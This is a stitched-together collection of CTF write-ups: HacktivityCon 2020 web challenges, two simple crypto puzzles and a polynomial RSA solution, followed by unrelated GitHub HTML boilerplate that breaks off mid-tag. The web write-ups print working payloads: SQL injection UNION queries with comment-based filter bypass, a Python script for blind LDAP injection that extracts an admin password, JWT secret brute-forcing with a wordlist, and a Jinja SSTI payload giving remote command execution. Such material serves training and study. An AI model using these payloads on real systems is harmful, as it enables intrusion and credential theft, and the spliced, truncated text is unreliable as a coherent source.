`'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
### CaesarMirror> Challenge statement:>> Caesar caesar, on the wall, who is the fairest of them all? Solution:1. After downloaded the file, this challenge is Caesar Cipher with shift 13 a.k.a ROT132. to decrypt the message we can use [this decoder](https://www.dcode.fr/caesar-cipher)3. after decrypt the message we found the right part is mirrored and need to rearrange4. we need to rearrange the right part to find the flag, after we rearranged it we found the flag is 'flag{julius_in_a_reflection}' ![Caesar Mirror result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/caesar-mirror.png?raw=true) FLAG: **flag{julius_in_a_reflection}**
### Read The Rules > Challenge statement:>> Please follow the rules for this CTF!>> Connect here:> https://ctf.hacktivitycon.com/rules Solution:1. just open the link and read the rule. 2. They put the clue of the flag in the part of the rules. This is the clue. > If you look closely, you can even find a flag on this page! 3. I tried to 'inspect' or 'View page source' using google chrome, you can use any browsers. After that you will found the flag in the page source code. ![read the rules result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/read-the-rules.png?raw=true) 4. we found the flag is 'flag{its_time_to_hack}' FLAG: **flag{its_time_to_hack}**
Everything you need is inside the pyNotebook: https://colab.research.google.com/drive/1qQZhiLdW6pFkk7KcOF3O8KA1H-rEw3s3?usp=sharing flag{dont_roll_ur_own}
[Polynomial Rsa](http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf). This article explains polynomial RSA quite good. I referred to this article and ended up with the following solution: First of all, we need phi for n. For this, I factored n and calculated phi using the formula phi = Π(p^deg[i]-1) as mentioned in the article. This relevant code is:```n = factors[0][0].degree()m = factors[1][0].degree()phi = (pow(P, n)-1)*(pow(P, m)-1) #n has only two factors```Then d can be calculated using the basic rsa problem i.e.```d = inverse_mod(e, phi)```Then the problem reduced to a basic rsa problem. I set the quotient for the finite field as n and calculated (encrypted_polynomial)^(d) which turns out to be```125*a^23 + 110*a^22 + 52*a^21 + 109*a^20 + 95*a^19 + 110*a^18 + 48*a^17 + 114*a^16 + 105*a^15 + 95*a^14 + 109*a^13 + 52*a^12 + 95*a^11 + 105*a^10 + 95*a^9 + 100*a^8 + 110*a^7 + 97*a^6 + 123*a^5 + 102*a^4 + 116*a^3 + 99*a^2 + 110*a + 105 ```The coefficients clearly represent ascii values of the flag characters which can be decoded to the flag ```inctf{and_i_4m_ir0n_m4n}``` The whole solution is:```P = 2470567871e = 65537p = PolynomialRing(GF(P), 'x')x = p.gen()fx = 1932231392*x^255 + 1432733708*x^254 + 1270867914*x^253 + 1573324635*x^252 + 2378103997*x^251 + 820889786*x^250 + 762279735*x^249 + 1378353578*x^248 + 1226179520*x^247 + 657116276*x^246 + 1264717357*x^245 + 1015587392*x^244 + 849699356*x^243 + 1509168990*x^242 + 2407367106*x^241 + 873379233*x^240 + 2391647981*x^239 + 517715639*x^238 + 828941376*x^237 + 843708018*x^236 + 1526075137*x^235 + 1499291590*x^234 + 235611028*x^233 + 19615265*x^232 + 53338886*x^231 + 434434839*x^230 + 902171938*x^229 + 516444143*x^228 + 1984443642*x^227 + 966493372*x^226 + 1166227650*x^225 + 1824442929*x^224 + 930231465*x^223 + 1664522302*x^222 + 1067203343*x^221 + 28569139*x^220 + 2327926559*x^219 + 899788156*x^218 + 296985783*x^217 + 1144578716*x^216 + 340677494*x^215 + 254306901*x^214 + 766641243*x^213 + 1882320336*x^212 + 2139903463*x^211 + 1904225023*x^210 + 475412928*x^209 + 127723603*x^208 + 2015416361*x^207 + 1500078813*x^206 + 1845826007*x^205 + 797486240*x^204 + 85924125*x^203 + 1921772796*x^202 + 1322682658*x^201 + 2372929383*x^200 + 1323964787*x^199 + 1302258424*x^198 + 271875267*x^197 + 1297768962*x^196 + 2147341770*x^195 + 1665066191*x^194 + 2342921569*x^193 + 1450622685*x^192 + 1453466049*x^191 + 1105227173*x^190 + 2357717379*x^189 + 1044263540*x^188 + 697816284*x^187 + 647124526*x^186 + 1414769298*x^185 + 657373752*x^184 + 91863906*x^183 + 1095083181*x^182 + 658171402*x^181 + 75339882*x^180 + 2216678027*x^179 + 2208320155*x^178 + 1351845267*x^177 + 1740451894*x^176 + 1302531891*x^175 + 320751753*x^174 + 1303477598*x^173 + 783321123*x^172 + 1400145206*x^171 + 1379768234*x^170 + 1191445903*x^169 + 946530449*x^168 + 2008674144*x^167 + 2247371104*x^166 + 1267042416*x^165 + 1795774455*x^164 + 1976911493*x^163 + 167037165*x^162 + 1848717750*x^161 + 573072954*x^160 + 1126046031*x^159 + 376257986*x^158 + 1001726783*x^157 + 2250967824*x^156 + 2339380314*x^155 + 571922874*x^154 + 961000788*x^153 + 306686020*x^152 + 80717392*x^151 + 2454799241*x^150 + 1005427673*x^149 + 1032257735*x^148 + 593980163*x^147 + 1656568780*x^146 + 1865541316*x^145 + 2003844061*x^144 + 1265566902*x^143 + 573548790*x^142 + 494063408*x^141 + 1722266624*x^140 + 938551278*x^139 + 2284832499*x^138 + 597191613*x^137 + 476121126*x^136 + 1237943942*x^135 + 275861976*x^134 + 1603993606*x^133 + 1895285286*x^132 + 589034062*x^131 + 713986937*x^130 + 1206118526*x^129 + 311679750*x^128 + 1989860861*x^127 + 1551409650*x^126 + 2188452501*x^125 + 1175930901*x^124 + 1991529213*x^123 + 2019090583*x^122 + 215965300*x^121 + 532432639*x^120 + 1148806816*x^119 + 493362403*x^118 + 2166920790*x^117 + 185609624*x^116 + 184370704*x^115 + 2141702861*x^114 + 223551915*x^113 + 298497455*x^112 + 722376028*x^111 + 678813029*x^110 + 915121681*x^109 + 1107871854*x^108 + 1369194845*x^107 + 328165402*x^106 + 1792110161*x^105 + 798151427*x^104 + 954952187*x^103 + 471555401*x^102 + 68969853*x^101 + 453598910*x^100 + 2458706380*x^99 + 889221741*x^98 + 320515821*x^97 + 1549538476*x^96 + 909607400*x^95 + 499973742*x^94 + 552728308*x^93 + 1538610725*x^92 + 186272117*x^91 + 862153635*x^90 + 981463824*x^89 + 2400233482*x^88 + 1742475067*x^87 + 437801940*x^86 + 1504315277*x^85 + 1756497351*x^84 + 197089583*x^83 + 2082285292*x^82 + 109369793*x^81 + 2197572728*x^80 + 107235697*x^79 + 567322310*x^78 + 1755205142*x^77 + 1089091449*x^76 + 1993836978*x^75 + 2393709429*x^74 + 170647828*x^73 + 1205814501*x^72 + 2444570340*x^71 + 328372190*x^70 + 1929704306*x^69 + 717796715*x^68 + 1057597610*x^67 + 482243092*x^66 + 277530014*x^65 + 2393168828*x^64 + 12380707*x^63 + 1108646500*x^62 + 637721571*x^61 + 604983755*x^60 + 1142068056*x^59 + 1911643955*x^58 + 1713852330*x^57 + 1757273231*x^56 + 1778819295*x^55 + 957146826*x^54 + 900005615*x^53 + 521467961*x^52 + 1255707235*x^51 + 861871574*x^50 + 397953653*x^49 + 1259753202*x^48 + 471431762*x^47 + 1245956917*x^46 + 1688297180*x^45 + 1536178591*x^44 + 1833258462*x^43 + 1369087493*x^42 + 459426544*x^41 + 418389643*x^40 + 1800239647*x^39 + 2467433889*x^38 + 477713059*x^37 + 1898813986*x^36 + 2202042708*x^35 + 894088738*x^34 + 1204601190*x^33 + 1592921228*x^32 + 2234027582*x^31 + 1308900201*x^30 + 461430959*x^29 + 718926726*x^28 + 2081988029*x^27 + 1337342428*x^26 + 2039153142*x^25 + 1364177470*x^24 + 613659517*x^23 + 853968854*x^22 + 1013582418*x^21 + 1167857934*x^20 + 2014147362*x^19 + 1083466865*x^18 + 1091690302*x^17 + 302196939*x^16 + 1946675573*x^15 + 2450124113*x^14 + 1199066291*x^13 + 401889502*x^12 + 712045611*x^11 + 1850096904*x^10 + 1808400208*x^9 + 1567687877*x^8 + 2013445952*x^7 + 2435360770*x^6 + 2414019676*x^5 + 2277377050*x^4 + 2148341337*x^3 + 1073721716*x^2 + 1045363399*x + 1809685811factors = fx.factor()n = factors[0][0].degree()m = factors[1][0].degree()phi = (pow(P, n)-1)*(pow(P, m)-1)d = inverse_mod(e, phi)u = p.quotient(fx, 'a')a = u.gen()cx = 1208612545*a^254 + 1003144104*a^253 + 1173365710*a^252 + 1528252326*a^251 + 2263767409*a^250 + 2030579621*a^249 + 820048372*a^248 + 1474305505*a^247 + 1313951805*a^246 + 191260021*a^245 + 687901467*a^244 + 231907128*a^243 + 1757265648*a^242 + 1536859261*a^241 + 97792274*a^240 + 86150615*a^239 + 2283802022*a^238 + 728791370*a^237 + 1402241073*a^236 + 2010876897*a^235 + 1112960608*a^234 + 1785301939*a^233 + 862124720*a^232 + 573190801*a^231 + 1353395115*a^230 + 1041912948*a^229 + 1592516519*a^228 + 2043096090*a^227 + 970437868*a^226 + 945296597*a^225 + 764979415*a^224 + 151795004*a^223 + 744776063*a^222 + 49064457*a^221 + 379720326*a^220 + 549708067*a^219 + 1278937325*a^218 + 1348751857*a^217 + 897039278*a^216 + 1738651055*a^215 + 1458044806*a^214 + 947593966*a^213 + 604294495*a^212 + 1101712128*a^211 + 1106608879*a^210 + 556697284*a^209 + 339078898*a^208 + 135886774*a^207 + 682237064*a^206 + 1298394254*a^205 + 2038363686*a^204 + 1138996508*a^203 + 321551693*a^202 + 1194023535*a^201 + 1627100598*a^200 + 581786959*a^199 + 209400153*a^198 + 1354413890*a^197 + 1689568849*a^196 + 1038349567*a^195 + 2129265853*a^194 + 96150366*a^193 + 1879712323*a^192 + 140146576*a^191 + 855348682*a^190 + 571231503*a^189 + 1759489757*a^188 + 1528175919*a^187 + 1420729777*a^186 + 1778060705*a^185 + 204520875*a^184 + 2409946047*a^183 + 1703900286*a^182 + 379350638*a^181 + 145936788*a^180 + 644037909*a^179 + 946490870*a^178 + 2143460817*a^177 + 2124654819*a^176 + 735909283*a^175 + 1956333192*a^174 + 69508572*a^173 + 1998473705*a^172 + 2219097711*a^171 + 2324764950*a^170 + 1295835297*a^169 + 475763021*a^168 + 124896627*a^167 + 392652227*a^166 + 2414019050*a^165 + 519556546*a^164 + 2379934828*a^163 + 74942046*a^162 + 2333943359*a^161 + 5807728*a^160 + 1572302913*a^159 + 933057583*a^158 + 2327572070*a^157 + 2174172163*a^156 + 326654947*a^155 + 2362777406*a^154 + 1571381551*a^153 + 818720017*a^152 + 564409161*a^151 + 784212625*a^150 + 2084631116*a^149 + 1709163682*a^148 + 1791572159*a^147 + 2362306858*a^146 + 1870950847*a^145 + 936293454*a^144 + 1992907305*a^143 + 2427866610*a^142 + 1377299939*a^141 + 2336147340*a^140 + 419537038*a^139 + 1775945090*a^138 + 1084486367*a^137 + 1628708302*a^136 + 624109245*a^135 + 1140675451*a^134 + 848915999*a^133 + 1380203834*a^132 + 103496883*a^131 + 81739774*a^130 + 2055692293*a^129 + 1586687843*a^128 + 1682316161*a^127 + 134734383*a^126 + 885001299*a^125 + 2466212723*a^124 + 137905246*a^123 + 2305925724*a^122 + 410043787*a^121 + 2154453335*a^120 + 2018367068*a^119 + 1967315089*a^118 + 220606010*a^117 + 1066579186*a^116 + 2022385524*a^115 + 1564928688*a^114 + 851080667*a^113 + 1683812556*a^112 + 672848621*a^111 + 646553151*a^110 + 1348955204*a^109 + 1543570099*a^108 + 2260622184*a^107 + 1111757240*a^106 + 1797688791*a^105 + 1307761272*a^104 + 179896670*a^103 + 1197947306*a^102 + 1792231092*a^101 + 1515817157*a^100 + 1510541452*a^99 + 1784535666*a^98 + 1755403646*a^97 + 2388416288*a^96 + 1913808879*a^95 + 2139772089*a^94 + 1373043969*a^93 + 900021127*a^92 + 1613888837*a^91 + 331160696*a^90 + 2404083812*a^89 + 448818904*a^88 + 592910594*a^87 + 2436296390*a^86 + 2103089380*a^85 + 2027661376*a^84 + 277165788*a^83 + 717390488*a^82 + 319876555*a^81 + 1394843317*a^80 + 2314542109*a^79 + 2295617403*a^78 + 313842193*a^77 + 1918458371*a^76 + 1189324530*a^75 + 1765150225*a^74 + 1107038066*a^73 + 613811679*a^72 + 578744934*a^71 + 538203467*a^70 + 1710976133*a^69 + 1681208001*a^68 + 462043988*a^67 + 299437516*a^66 + 1843758398*a^65 + 851754779*a^64 + 1850189150*a^63 + 710529550*a^62 + 922473306*a^61 + 2344816934*a^60 + 54182289*a^59 + 2394694981*a^58 + 1849818608*a^57 + 1926799414*a^56 + 950266030*a^55 + 1290713338*a^54 + 1851455277*a^53 + 1607851092*a^52 + 1587576465*a^51 + 2279226257*a^50 + 1637387507*a^49 + 779327218*a^48 + 919124653*a^47 + 1126060258*a^46 + 2304179492*a^45 + 77984480*a^44 + 966167063*a^43 + 402292668*a^42 + 1332816563*a^41 + 524746316*a^40 + 2427530022*a^39 + 677075099*a^38 + 755256194*a^37 + 2152433299*a^36 + 2197374397*a^35 + 2290208129*a^34 + 996810109*a^33 + 101994796*a^32 + 252415814*a^31 + 1964967972*a^30 + 1533782356*a^29 + 1034980624*a^28 + 816216163*a^27 + 1535614986*a^26 + 1835762944*a^25 + 1147606118*a^24 + 1189426347*a^23 + 33594119*a^22 + 2113251273*a^21 + 826059142*a^20 + 1074101610*a^19 + 1638140405*a^18 + 1633380033*a^17 + 2005588694*a^16 + 2087514746*a^15 + 768034353*a^14 + 104476320*a^13 + 483234608*a^12 + 2424146196*a^11 + 49841203*a^10 + 145673059*a^9 + 705090263*a^8 + 1832451737*a^7 + 2394175351*a^6 + 1966712784*a^5 + 276537935*a^4 + 499607533*a^3 + 1981107449*a^2 + 776654074*a + 886398299m = str(cx^d)print(m)flag = ''m=m.split(' + ')for i in m: x=i.split('*')[0] flag += chr(int(x)) print(flag[::-1])```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 